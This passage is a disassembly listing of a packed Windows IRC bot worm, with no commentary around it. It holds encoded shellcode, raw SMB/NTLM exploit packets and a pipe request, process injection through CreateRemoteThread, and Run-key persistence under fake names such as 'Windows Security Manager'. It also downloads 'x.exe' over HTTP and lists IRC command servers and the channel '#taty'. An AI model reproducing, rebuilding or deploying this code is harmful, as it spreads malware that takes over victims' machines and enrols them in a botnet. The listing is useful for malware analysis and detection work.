; ---------------------------------------------------------------------------


loc_31503949:				; CODE XREF: sub_31503722+19Dj
		push	[esp+2DCh+var_2CC]
		lea	eax, [esi+80h]
		push	eax
		call	ebx	; lstrcpyA


loc_31503956:				; CODE XREF: sub_31503722+1E9j
					; sub_31503722+1FEj ...
		lea	eax, [esi+80h]
		push	offset asc_31506124 ; "|"
		push	eax
		call	dword_3150106C	; lstrcatA


loc_31503968:				; CODE XREF: sub_31503722+15Aj
					; sub_31503722+172j ...
		mov	ebp, dword_31501040
		lea	eax, [esp+2DCh+var_200]
		push	offset aI	; "i"
		push	eax
		call	ebp	; lstrcmpA
		test	eax, eax
		jnz	short loc_315039DE
		lea	eax, [esp+2DCh+var_2C8]
		push	offset dword_315061CC
		push	eax
		call	ebx	; lstrcpyA
		lea	eax, [esp+2DCh+var_2C8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_31501040+4
		push	ds:dword_31506198
		lea	eax, [esp+2E0h+var_2C8]
		push	eax
		lea	eax, [esp+2E4h+var_264]
		push	ds:dword_31506194
		push	ds:dword_3150615C
		push	offset aDD13SD	; "%d,%d,13%s,%d"
		push	eax
		call	dword_3150113C	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+2DCh+var_264]
		mov	ecx, esi
		push	eax
		lea	eax, [esi+30h]
		push	eax
		call	sub_315032FA


loc_315039DE:				; CODE XREF: sub_31503722+25Dj
		lea	eax, [esp+2DCh+var_200]
		push	offset aQ	; "q"
		push	eax
		call	ebp	; lstrcmpA
		test	eax, eax
		jnz	short loc_315039FE
		cmp	[esi+284h], eax
		jz	short loc_315039FE
		push	1
		pop	eax
		jmp	short loc_31503A2A
; ---------------------------------------------------------------------------


loc_315039FE:				; CODE XREF: sub_31503722+2CDj
					; sub_31503722+2D5j
		mov	byte ptr [edi],	7Ch


loc_31503A01:				; CODE XREF: sub_31503722+A3j
					; sub_31503722+B3j ...
		cmp	dword ptr [esi+284h], 0
		jz	short loc_31503A28
		push	offset aJoin	; "JOIN"
		push	[esp+2E0h+arg_0]
		call	dword_31501120	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31503A28
		call	dword_31501124	; rand


loc_31503A28:				; CODE XREF: sub_31503722+E2j
					; sub_31503722+123j ...
		xor	eax, eax


loc_31503A2A:				; CODE XREF: sub_31503722+2DAj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 2CCh
		retn	4
sub_31503722	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A38	proc near		; CODE XREF: sub_315011C0+128p
					; sub_315011C0+134p ...
		jmp	dword_31501134
sub_31503A38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A3E	proc near		; CODE XREF: sub_315011C0+9Cp
					; sub_315011C0+C5p ...
		jmp	dword_31501130
sub_31503A3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A44	proc near		; CODE XREF: sub_315011C0+93p
					; sub_315011C0+B2p ...
		jmp	dword_3150112C
sub_31503A44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_31503A50	proc near		; CODE XREF: sub_315011C0+8p

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_31503A70


loc_31503A5C:				; CODE XREF: sub_31503A50+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_31503A5C


loc_31503A70:				; CODE XREF: sub_31503A50+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_31503A50	endp

; ---------------------------------------------------------------------------
		align 10h


loc_31503A80:				; DATA XREF: sub_31501D96+Ao
		jmp	dword ptr loc_3150111C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A86	proc near		; CODE XREF: sub_31501F6B+10Cp
					; sub_31501F6B+119p ...
		jmp	dword_31501118
sub_31503A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A8C	proc near		; CODE XREF: sub_31501F6B+35p
		jmp	dword_31501114
sub_31503A8C	endp

; ---------------------------------------------------------------------------


loc_31503A92:				; CODE XREF: UPX0:31503AC9j
					; UPX0:31503AE0j
		jmp	dword ptr locret_3150110A+2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A98	proc near		; CODE XREF: sub_315031EC+5p
					; UPX0:3150340Dp
		jmp	dword ptr loc_31501108
sub_31503A98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503A9E	proc near		; CODE XREF: sub_31503371+4Fp
		jmp	dword_31501104
sub_31503A9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503AA4	proc near		; CODE XREF: sub_31503371+34p
		jmp	dword_31501100
sub_31503AA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503AAA	proc near		; CODE XREF: sub_31503371+1Fp
		jmp	dword_315010FC
sub_31503AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503AB0	proc near		; CODE XREF: sub_31502490+ABp
		jmp	dword_31501084
sub_31503AB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503AB6	proc near		; CODE XREF: sub_31502490+64p
		jmp	dword_3150107C
sub_31503AB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_31503ABC	proc near		; CODE XREF: sub_31502490+2Dp
		jmp	dword_31501078
sub_31503ABC	endp

; ---------------------------------------------------------------------------
		align 4


loc_31503AC4:				; DATA XREF: sub_315031ECo
		mov	eax, offset dword_31503AE8
		jmp	loc_31503A92
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2F4h]
		jmp	loc_31502DD4
; ---------------------------------------------------------------------------


loc_31503ADB:				; DATA XREF: UPX0:loc_31503408o
		mov	eax, offset dword_31503B40
		jmp	loc_31503A92
; ---------------------------------------------------------------------------
		align 4
dword_31503AE8	dd 19930520h, 2, 31503B08h, 1, 31503B18h, 3 dup(0)
					; DATA XREF: UPX0:loc_31503AC4o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 31503B30h,	4 dup(0)
		dd offset loc_315032E0
dword_31503B40	dd 19930520h, 1, 31503B60h, 5 dup(0)		dd 0FFFFFFFFh, 31503AD0h, 526h dup(0)
byte_31505000	db 0EBh			; DATA XREF: sub_315011C0+24Eo
					; sub_315011C0+260o ...
		db 58h
word_31505002	dw 7468h		; DATA XREF: sub_31502277+40o
		dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h
		dd 6578652Eh, 4	dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h
		dd 302E342Fh, 0C9335DDFh, 1F1B966h, 8B05758Dh, 3C068AFEh
		dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h,	0DAE80AEBh
		dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h
		dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch
		dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C571C9h,	0C999C999h
		dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h
		dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h
		dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B471C999h
		dd 99C99998h, 0E3F367C9h, 0D11C10F0h, 99C99998h, 0C959B2C9h
		dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A20414D9h, 99C99998h
		dd 9371CAC9h, 99C99998h, 61688DC9h, 0AE1C1091h,	99C99998h
		dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h,	98F3C8C8h
		dd 0C957DC14h, 0C9992671h, 0C999C999h, 91C0A44Eh, 59924912h
		dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993C71CBh, 99C999C9h
		dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch
		dd 9998D12Ch, 0C9C999C9h, 0C9991371h, 0C999C999h, 83B8B0FBh
		dd 5D12CDC3h, 0C9C999F3h, 0D12C66CBh, 99C99998h, 0AE2C66C9h
		dd 99C99998h, 990C71C9h, 99C999C9h, 0A6485AC9h,	2C66C096h
		dd 0C99998AEh, 1C71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h
		dd 98A20414h, 0C999C999h, 99EA71CAh, 99C999C9h,	26F434C9h
		dd 0C999F371h, 0C999F171h, 0C999C999h, 0EF133BF9h, 376B4629h
		dd 9966DE5Fh, 0A8EC5AC9h, 0F0ABB7AAh, 2	dup(0C999C999h)
		dd 0C5B7C999h, 0ECE9EDFFh, 0FCB7FDE9h, 0C999FCE1h, 6 dup(0C999C999h)
		dd 0FCFCF5CAh, 0F2C999E9h, 0FCF7EBFCh, 99ABAAF5h, 0F934C7C9h
		dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h,	0C983639Dh
		dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h,	91720A95h
		dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h,	529AE180h
		dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh,	0DB9BAB9Eh
		dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh
		dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah
		dd 10F885BDh, 9998D51Ch, 66C999C9h, 0FD7F6649h,	0A98712FEh
		dd 0C212C999h, 85C21295h, 0C2128212h, 0FCB75A91h, 0B7FDF7h
dword_315052C8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_315011C0+186o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_31505354	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+1BAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_31505400	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+1EEo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_315054E0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+8Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_315011C0+BFo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_31505544	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+2D4o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_315055B0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+308o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_31505654	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+4EEo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
dword_315056D4	dd 401495h, 3, 40707Ch,	1, 0		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_31505768	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+347o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_315057D4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_315011C0+372o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_31505848	dd 0				dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 3	dup(0)
		dd 586E6957h, 72502050h, 6Fh, 9	dup(0)
		db 2 dup(0)
dword_31505906	dd 1004600h			dw 1
		dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0)
dword_31505940	dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0)
					; DATA XREF: sub_315011C0+41Bo
					; sub_315011C0+45Do
		dd 123C0000h, 751Ch, 0Eh dup(0)
; ---------------------------------------------------------------------------


loc_315059B8:				; DATA XREF: sub_315011C0+44Ao
		jmp	short loc_315059C0
; ---------------------------------------------------------------------------
		jmp	short loc_315059C2
; ---------------------------------------------------------------------------
		align 10h


loc_315059C0:				; CODE XREF: UPX0:loc_315059B8j
					; DATA XREF: sub_315011C0+5Co
		pop	esp
		pop	esp


loc_315059C2:				; CODE XREF: UPX0:315059BAj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_315059CC	dd 1CEC8166h	dword_315059D0	dd 0E4FF07h	aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_31501727+62o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31501727+39o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31501727+2Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_31501727+1Bo
		align 4
aAdvapi32	db 'advapi32',0         ; DATA XREF: sub_31501727+8o
					; sub_31501D96+102o
		align 4
aUterm13_2i	db 'uterm13.2i',0       ; DATA XREF: sub_315017AF:loc_31501894o
					; UPX0:31501D35o ...
		align 4
aShell_traywnd	db 'Shell_TrayWnd',0    ; DATA XREF: sub_315017AF+58o
		align 4
aCreateremoteth	db 'CreateRemoteThread',0 ; DATA XREF: sub_315017AF:loc_315017F6o
		align 4
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: sub_315017AF+34o
		align 4
aKernel32	db 'kernel32',0         ; DATA XREF: sub_315017AF+18o
		align 4
dword_31505A84	dd 0E9F3F5h	aHttp1_1200Ok	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+106o
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_31501A62+85o
		db 0Dh,0Ah,0
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_31501A62+71o
		db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0
		align 4
a_exe		db '.exe',0             ; DATA XREF: sub_31501A62+55o
					; sub_315025F6+4Bo ...
		align 10h
aGet		db 'GET',0              ; DATA XREF: sub_31501A62+3Do
aFtpupd_exe	db 'ftpupd.exe',0       ; DATA XREF: UPX0:31501D20o
		align 10h
aUser32		db 'user32',0           ; DATA XREF: sub_31501D96+109o
		align 4
aMsvcrt		db 'msvcrt',0           ; DATA XREF: sub_31501D96+FBo
		align 10h
aWininet	db 'wininet',0          ; DATA XREF: sub_31501D96+F4o
aWs2_32		db 'ws2_32',0           ; DATA XREF: sub_31501D96+E7o
		align 10h
aU14		db 'u14',0              ; DATA XREF: sub_31501D96+D5o
aU13_2i		db 'u13.2i',0           ; DATA XREF: sub_31501D96+C9o
		align 4
aU13i		db 'u13i',0             ; DATA XREF: sub_31501D96+BDo
		align 4
aU13		db 'u13',0              ; DATA XREF: sub_31501D96+B1o
aU12		db 'u12',0              ; DATA XREF: sub_31501D96+A5o
aU11		db 'u11',0              ; DATA XREF: sub_31501D96+99o
aU10		db 'u10',0              ; DATA XREF: sub_31501D96+8Do
aU9		db 'u9',0               ; DATA XREF: sub_31501D96+81o
		align 4
aU8		db 'u8',0               ; DATA XREF: sub_31501D96+75o
		align 4
aU13ix		db 'u13ix',0            ; DATA XREF: sub_31501D96+69o
		align 4
aU13x		db 'u13x',0             ; DATA XREF: sub_31501D96+5Do
		align 4
aU12x		db 'u12x',0             ; DATA XREF: sub_31501D96+51o
		align 4
aU11x		db 'u11x',0             ; DATA XREF: sub_31501D96+45o
		align 4
aU10x		db 'u10x',0             ; DATA XREF: sub_31501D96+3Bo
		align 4
aU13_2ix	db 'u13.2ix',0          ; DATA XREF: sub_31501D96+22o
asc_31505B8C	db 0Dh,0Ah,0		; DATA XREF: sub_31501F6B+124o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_31501F6B+104o
aHttpSDX_exe	db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31502277+2Do
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_31501BA8+23o
					; sub_31502548+5Fo ...
		align 4
aSystemUpdate	db 'System Update',0    ; DATA XREF: sub_31501BA8+1Co
					; sub_315025F6+87o ...
		align 4
aEwpkcorawtj	db 'ewpkcorawtj',0      ; DATA XREF: sub_315026C2+57o
					; sub_315026C2+8Ao
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_315026C2+32o
aClient		db 'Client',0           ; DATA XREF: sub_315026C2+BCo
					; sub_315026C2+F8o
		align 4
aId		db 'ID',0               ; DATA XREF: sub_315026C2+37o
					; sub_315026C2+75o
		align 4
aMsConfigV13	db 'MS Config v13',0    ; DATA XREF: sub_31502548+4Eo
		align 4
aAvserve2_exeup	db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_31502548+47o
		align 4
aAvserve_exe	db 'avserve.exe',0      ; DATA XREF: sub_31502548+40o
aWindowsUpdateS	db 'Windows Update Service',0 ; DATA XREF: sub_31502548+39o
		align 4
aWinupdate	db 'WinUpdate',0        ; DATA XREF: sub_31502548+32o
		align 4
aSystray	db 'SysTray',0          ; DATA XREF: sub_31502548+2Bo
aBotLoader	db 'Bot Loader',0       ; DATA XREF: sub_31502548+24o
		align 4
aSystemRestoreS	db 'System Restore Service',0 ; DATA XREF: sub_31502548+1Do
		align 10h
aDiskDefragment	db 'Disk Defragmenter',0 ; DATA XREF: sub_31502548+16o
		align 4
aWindowsSecurit	db 'Windows Security Manager',0 ; DATA XREF: sub_31502548+Fo
		align 10h
asc_31505CF0:				; DATA XREF: sub_315025F6+56o
					; sub_31503608+49o
		unicode	0, <\>,0
a1:					; DATA XREF: sub_315026C2+B7o
		unicode	0, <1>,0
dword_31505CF8	dd 206h, 2400h,	31415352h, 800h, 10001h, 0A495BDEFh, 0DD499F8Eh
					; DATA XREF: sub_3150283F+3Ao
		dd 64DB1F45h, 0DE5B5C5h, 23CBE2AAh, 63639922h, 7318481Ch
		dd 749AC3F2h, 4D855620h, 0AD0FE1CCh, 691506D3h,	0A8FD8D37h
		dd 700B1698h, 45504FCEh, 324A3914h, 5C10E3EFh, 0DFBDD847h
		dd 371EBA84h, 8B817380h, 7D4A0DF5h, 2DFE92E0h, 0C699C9C5h
		dd 9C85E020h, 6A5068BDh, 8250B629h, 7F42C334h, 1C980811h
		dd 9CE7B7B2h, 3D77899Dh, 0A4D3971Ah, 0A58D5029h, 8D463A96h
		dd 1612E8FCh, 44AF10EBh, 0D0F84570h, 0B178966Ah, 0EB51439Fh
		dd 7086A827h, 0DE098A39h, 0C1A1C214h, 0BF167A53h, 611A85C4h
		dd 9829E70Fh, 8966209Eh, 0CB1FE53h, 0ECCA9407h,	0A11E75A3h
		dd 0B4E8F91Dh, 1A4ECBC5h, 69D7F0DBh, 8C1A8739h,	18C67B94h
		dd 3EB38213h, 0E0424BBFh, 8400EB67h, 0AA60B737h, 22D7D8B3h
		dd 7A650480h, 86FF4BA6h, 0F6458558h, 56EEF96Eh,	32002FC9h
		dd 0B7A63B4Ah, 0EBD3D87Ah
aCont		db 'cont',0             ; DATA XREF: sub_31502826+3o
		align 4
off_31505E14	dd offset aMoscowAdvokat_ ; DATA XREF: UPX0:315034C8r
					; UPX0:3150351Ar
					; "moscow-advokat.ru"
		dd offset aGraz_at_eu_und ; "graz.at.eu.undernet.org"
		dd offset aFlanders_be_eu ; "flanders.be.eu.undernet.org"
		dd offset aCaen_fr_eu_und ; "caen.fr.eu.undernet.org"
		dd offset aBrussels_be_eu ; "brussels.be.eu.undernet.org"
		dd offset aLosAngeles_ca_ ; "los-angeles.ca.us.undernet.org"
		dd offset aWashington_dc_ ; "washington.dc.us.undernet.org"
		dd offset aLondon_uk_eu_u ; "london.uk.eu.undernet.org"
		dd offset aLia_zanet_net ; "lia.zanet.net"
		dd offset aGaspode_zanet_ ; "gaspode.zanet.org.za"
		dd offset aDiemen_nl_eu_u ; "diemen.nl.eu.undernet.org"
		dd offset aLulea_se_eu_un ; "lulea.se.eu.undernet.org"
		dd offset aCoins_dal_net ; "coins.dal.net"
		dd offset aBroadway_ny_us ; "broadway.ny.us.dal.net"
		dd offset aOzbytes_dal_ne ; "ozbytes.dal.net"
		dd offset aVancouver_dal_ ; "vancouver.dal.net"
		dd offset aViking_dal_net ; "viking.dal.net"
		dd offset aCed_dal_net	; "ced.dal.net"
		dd offset aQis_md_us_dal_ ; "qis.md.us.dal.net"
aQis_md_us_dal_	db 'qis.md.us.dal.net',0 ; DATA XREF: UPX0:31505E5Co
		align 4
aCed_dal_net	db 'ced.dal.net',0      ; DATA XREF: UPX0:31505E58o
aViking_dal_net	db 'viking.dal.net',0   ; DATA XREF: UPX0:31505E54o
		align 10h
aVancouver_dal_	db 'vancouver.dal.net',0 ; DATA XREF: UPX0:31505E50o
		align 4
aOzbytes_dal_ne	db 'ozbytes.dal.net',0  ; DATA XREF: UPX0:31505E4Co
aBroadway_ny_us	db 'broadway.ny.us.dal.net',0 ; DATA XREF: UPX0:31505E48o
		align 4
aCoins_dal_net	db 'coins.dal.net',0    ; DATA XREF: UPX0:31505E44o
		align 4
aLulea_se_eu_un	db 'lulea.se.eu.undernet.org',0 ; DATA XREF: UPX0:31505E40o
		align 4
aDiemen_nl_eu_u	db 'diemen.nl.eu.undernet.org',0 ; DATA XREF: UPX0:31505E3Co
		align 4
aGaspode_zanet_	db 'gaspode.zanet.org.za',0 ; DATA XREF: UPX0:31505E38o
		align 4
aLia_zanet_net	db 'lia.zanet.net',0    ; DATA XREF: UPX0:31505E34o
		align 4
aLondon_uk_eu_u	db 'london.uk.eu.undernet.org',0 ; DATA XREF: UPX0:31505E30o
		align 4
aWashington_dc_	db 'washington.dc.us.undernet.org',0 ; DATA XREF: UPX0:31505E2Co
		align 4
aLosAngeles_ca_	db 'los-angeles.ca.us.undernet.org',0 ; DATA XREF: UPX0:31505E28o
		align 4
aBrussels_be_eu	db 'brussels.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E24o
aCaen_fr_eu_und	db 'caen.fr.eu.undernet.org',0 ; DATA XREF: UPX0:31505E20o
aFlanders_be_eu	db 'flanders.be.eu.undernet.org',0 ; DATA XREF: UPX0:31505E1Co
aGraz_at_eu_und	db 'graz.at.eu.undernet.org',0 ; DATA XREF: UPX0:31505E18o
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00003000 (  12288.)
; Section size in file		: 00003000 (  12288.)
; Offset to raw	data for section: 00006000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 31506000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
aMoscowAdvokat_	db 'moscow-advokat.ru',0 ; DATA XREF: UPX0:off_31505E14o
					; UPX1:31508401o
		align 4
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31502CB7+1Co
		align 10h
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31502CB7+Co
		align 4
aUserS8S	db 'USER %s 8 * :%s',0Dh,0Ah,0 ; DATA XREF: sub_31502DEC+1C4o
		align 10h
aAlready	db 'already',0          ; DATA XREF: sub_31502DEC+133o
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_31502DEC+D9o
					; sub_31502DEC+165o
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_31502DEC+9Co
		align 10h
aPongS		db 'PONG%s',0Dh,0Ah,0   ; DATA XREF: sub_3150302E+4Fo
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_3150302E+Co
					; sub_315030B1:loc_31503153o
		align 4
a451		db '451',0              ; DATA XREF: sub_315030B1+8Eo
aJoinS		db 'JOIN %s',0Dh,0Ah,0  ; DATA XREF: sub_315030B1+16o
		align 4
aQuitS		db 'QUIT %s',0Dh,0Ah,0  ; DATA XREF: sub_31503183+2Co
		align 10h
aPrivmsgSS	db 'PRIVMSG %s %s',0Dh,0Ah,0 ; DATA XREF: sub_315032FA+3Bo
aTaty		db '#taty',0            ; DATA XREF: UPX0:3150356Ao
		align 4
a13		db '13',0               ; DATA XREF: UPX0:31503460o
		align 4
a_:					; DATA XREF: UPX0:31503455o
		unicode	0, <_>,0
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_31503608+13o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_31503722+2E8o
		align 4
aQ:					; DATA XREF: sub_31503722+2C3o
		unicode	0, <q>,0
aDD13SD		db '%d,%d,13%s,%d',0    ; DATA XREF: sub_31503722+29Do
		align 10h
aI:					; DATA XREF: sub_31503722+253o
		unicode	0, <i>,0
asc_31506124:				; DATA XREF: sub_31503722+23Ao
		unicode	0, <|>,0
aE:					; DATA XREF: sub_31503722+146o
		unicode	0, <e>,0
a1D		db '-1,%d',0            ; DATA XREF: sub_31503722+78o
		align 4
		dd 9 dup(0)
dword_31506158	dd 0							; sub_31501BA8+80w
dword_3150615C	dd 0							; sub_31501BA8+2Dw ...
dword_31506160	dd 0							; sub_31501A62:loc_31501B10r ...
dword_31506164	dd 74h							; UPX0:31501D40w ...
dword_31506168	dd 0							; sub_31501D96+33w
dword_3150616C	dd 8 dup(0)	dword_3150618C	dd 0							; sub_31502277+20r
dword_31506190	dd 31500000h						; UPX0:31501D25w
dword_31506194	dd 0							; sub_315021B0+53o ...
dword_31506198	dd 0							; UPX0:31502326w ...
word_3150619C	dw 0			; DATA XREF: sub_315020C4+3Br
					; sub_31502128:loc_31502189r ...
		align 10h
dword_315061A0	dd 0							; sub_315026C2+110w ...
